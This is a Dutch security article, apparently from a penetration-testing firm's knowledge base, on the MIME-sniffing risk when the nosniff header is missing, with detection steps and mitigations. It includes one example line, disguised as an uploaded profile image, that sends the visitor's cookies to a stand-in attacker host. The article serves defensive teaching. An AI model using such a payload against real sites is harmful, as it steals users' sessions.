MIME-sniffing niet uitgeschakeld
CWE-430CWE-79OWASP A05:2021Bijgewerkt 3 september 20264 min leestijd
Ontbreekt de header X-Content-Type-Options, dan mag de browser zelf bepalen wat voor bestand hij binnenkrijgt en negeert hij daarbij het opgegeven content-type. Een geüpload bestand dat als afbeelding wordt aangeboden maar scriptcode bevat, kan zo alsnog als JavaScript worden uitgevoerd op uw domein.
Een server vertelt bij elk bestand wat het is: een afbeelding, een stylesheet, een stuk JavaScript. Browsers hebben dat lange tijd niet zonder meer geloofd, en die twijfel is een beveiligingsprobleem geworden. In dit artikel leest u hoe een geüploade afbeelding zich als script kan gedragen en waarom één korte header dat afsluit.
Wat is MIME-sniffing?
MIME-sniffing is het gedrag waarbij een browser zelf naar de inhoud van een bestand kijkt om te bepalen wat voor type het is, in plaats van af te gaan op het Content-Type dat de server meestuurt. Ziet de browser bijvoorbeeld iets dat op JavaScript lijkt, dan kan hij besluiten het als JavaScript te behandelen, ook als de server nadrukkelijk image/png heeft opgegeven.
Dat gedrag stamt uit een periode waarin veel webservers slecht geconfigureerd waren en pagina’s anders onbruikbaar werden. De browser was toegeeflijk, zoals een postbezorger die een pakket toch maar aflevert bij het huisnummer dat het meest waarschijnlijk lijkt. Praktisch, tot iemand daar bewust misbruik van maakt.
De header X-Content-Type-Options: nosniff maakt aan die toegeeflijkheid een einde. De browser neemt het opgegeven type dan als bindend aan en weigert het bestand wanneer dat type niet past bij de context waarin het wordt gebruikt.
Hoe misbruikt een aanvaller MIME-sniffing?
Het klassieke scenario combineert een bestandsupload met een ontbrekende header. De aanvaller heeft geen kwetsbaarheid in uw code nodig; hij gebruikt een functie die u zelf hebt aangeboden.
Kwetsbaar:
HTTP/1.1 200 OK
Content-Type: image/png
Content-Length: 84
De server benoemt dit bestand netjes als afbeelding, maar stuurt geen nosniff mee. De inhoud is echter geen afbeelding:
/* Geüpload als profielfoto.png */
fetch('https://kwaadaardig.example/x?c=' + document.cookie);
Wordt dit bestand vervolgens ergens ingesloten, bijvoorbeeld doordat de aanvaller een slachtoffer een link stuurt naar een pagina die het als script laadt, dan kijkt de browser naar de inhoud, concludeert dat het JavaScript is en voert het uit. En omdat het bestand vanaf úw domein wordt geserveerd, draait die code binnen uw origin, met toegang tot cookies en de DOM. De upload was toegestaan, het content-type was correct, en toch is het resultaat een volwaardige cross-site-scriptingaanval.
Veilig:
HTTP/1.1 200 OK
Content-Type: image/png
X-Content-Type-Options: nosniff
Content-Disposition: attachment; filename="profielfoto.png"
Cross-Origin-Resource-Policy: same-site
Met nosniff weigert de browser het bestand als script te interpreteren: het type is image/png en dat is het dan ook. De aanval strandt. Content-Disposition: attachment gaat een stap verder door het bestand als download aan te bieden in plaats van het in de pagina te tonen, wat voor door gebruikers aangeleverde bestanden de veiligste standaard is.
nosniff niet aan zonder eerst te controleren of uw server correcte content-types afgeeft. De header maakt bestaande fouten zichtbaar: een stylesheet die als text/plain wordt geserveerd of een scriptbestand met het verkeerde type wordt na het aanzetten geweigerd, en dan lijkt de header het probleem terwijl hij het alleen aan het licht brengt.Wat is de impact van MIME-sniffing?
Op zichzelf is dit een hardeningbevinding met een lage ernst, want er is meer nodig dan alleen deze ontbrekende header om schade aan te richten. De aanvaller heeft een manier nodig om inhoud op uw domein te krijgen: een bestandsupload, een endpoint dat gebruikersinvoer teruggeeft, of een exportfunctie.
Bestaat die mogelijkheid wel, dan verschuift de bevinding richting middelzwaar, omdat de uitkomst neerkomt op scriptuitvoering binnen uw origin. Dat betekent toegang tot sessiecookies die niet op HttpOnly staan, tot de inhoud van de pagina en tot alles wat de ingelogde gebruiker mag. Een tweede, minder bekende variant treft JSON-endpoints: zonder nosniff kan een antwoord dat als JSON is bedoeld in bepaalde omstandigheden als script worden ingeladen, waarmee gegevens uit dat antwoord aan een vreemde pagina worden prijsgegeven.
Opvallend aan deze bevinding is vooral de verhouding tussen kosten en baten. Het aanzetten van de header kost één regel configuratie en heeft bij een correct ingerichte server geen enkel neveneffect.
Hoe spoor je MIME-sniffing op?
De controle is eenvoudig te automatiseren: haal een aantal antwoorden op en kijk of X-Content-Type-Options: nosniff aanwezig is. Interessanter is waar de header ontbreekt. In de praktijk staat hij vaak wel op de HTML-pagina’s, maar niet op de route die geüploade bestanden serveert, precies de plek waar hij het hardst nodig is.
Een tester combineert die controle daarom met de uploadfunctionaliteit. Kan er een bestand worden geüpload waarvan de inhoud als script leesbaar is? Wordt dat bestand teruggeserveerd vanaf hetzelfde domein als de applicatie? Krijgt het een Content-Disposition? En wordt het content-type afgeleid van de bestandsnaam die de gebruiker heeft opgegeven, wat op zichzelf al onbetrouwbaar is? AssistSec test bij een penetratietest die keten in samenhang, omdat het risico niet uit de ontbrekende header alleen voortkomt maar uit de combinatie met wat er op uw domein terecht kan komen.
Hoe voorkom je MIME-sniffing?
- Stuur
X-Content-Type-Options: nosniffmee op elk HTTP-antwoord, ook op statische bestanden en API-routes. - Zorg dat uw server voor elk bestandstype een correct
Content-Typeafgeeft voordat u de header afdwingt. - Serveer door gebruikers aangeleverde bestanden met
Content-Disposition: attachment, zodat ze worden gedownload en niet uitgevoerd. - Host geüploade bestanden bij voorkeur op een apart domein, zodat scriptuitvoering nooit binnen de origin van de applicatie valt.
- Leid het content-type af van een gecontroleerde lijst aan serverzijde, niet van de door de gebruiker opgegeven bestandsnaam.
- Combineer de header met een strikte Content Security Policy als tweede laag.
- Controleer of ook uw CDN en reverse proxy de header doorgeven en niet stilzwijgend verwijderen.
Bronnen
Veelgestelde vragen
Heeft nosniff nadelen?
In de praktijk vrijwel niet, mits uw server correcte content-types afgeeft. Het risico bij invoeren is juist dat u ontdekt dat dit niet zo is: een stylesheet die als text/plain wordt geserveerd, wordt na het aanzetten van nosniff geweigerd. Dat is geen nieuw probleem maar een bestaande fout die zichtbaar wordt.
Is deze header nodig als ik al een CSP heb?
Ze vullen elkaar aan. Een strikte CSP kan voorkomen dat een als script uitgevoerd bestand daadwerkelijk iets nuttigs doet, maar nosniff voorkomt dat de verkeerde interpretatie überhaupt plaatsvindt. Beide zijn goedkope maatregelen en er is geen reden om te kiezen.
Waar komt MIME-sniffing eigenlijk vandaan?
Uit een tijd waarin veel webservers verkeerde of ontbrekende content-types afgaven. Browsers gingen daarom zelf naar de inhoud kijken om pagina's toch correct te tonen. Die coulance is nooit helemaal verdwenen en is inmiddels een beveiligingsrisico in plaats van een oplossing.
Beschermt dit tegen alle problemen met bestandsuploads?
Nee, het is één laag. Nosniff voorkomt dat een bestand als een ander type wordt geïnterpreteerd, maar niet dat een gevaarlijk bestand wordt opgeslagen of dat de server het verkeerd afhandelt. Serveer geüploade bestanden bij voorkeur vanaf een apart domein en altijd met Content-Disposition attachment.
Verwante artikelen
- KwetsbaarhedenCWE-693A05:2021Ontbrekende Content Security PolicyZonder Content Security Policy mag de browser scripts van elke bron laden. Lees wat een CSP doet, hoe u er een opstelt en welke fouten hem waardeloos maken.
- KwetsbaarhedenCWE-79A03:2021Cross-site scripting (XSS)Cross-site scripting (XSS) laat aanvallers scripts injecteren die in de browser van uw bezoekers draaien. Zo werkt de aanval en zo voorkomt u het.
- KwetsbaarhedenCWE-434A04:2021Onbeperkte bestandsuploadEen uploadfunctie zonder restricties kan tot code-uitvoering op de server leiden. Lees welke controles nodig zijn en welke niet volstaan.
- KwetsbaarhedenCWE-16A05:2021Security misconfigurationSecurity misconfiguration uitgelegd: hoe standaardwachtwoorden, debug-modi en open cloud-buckets aanvallers binnenlaten, en hoe u dit voorkomt.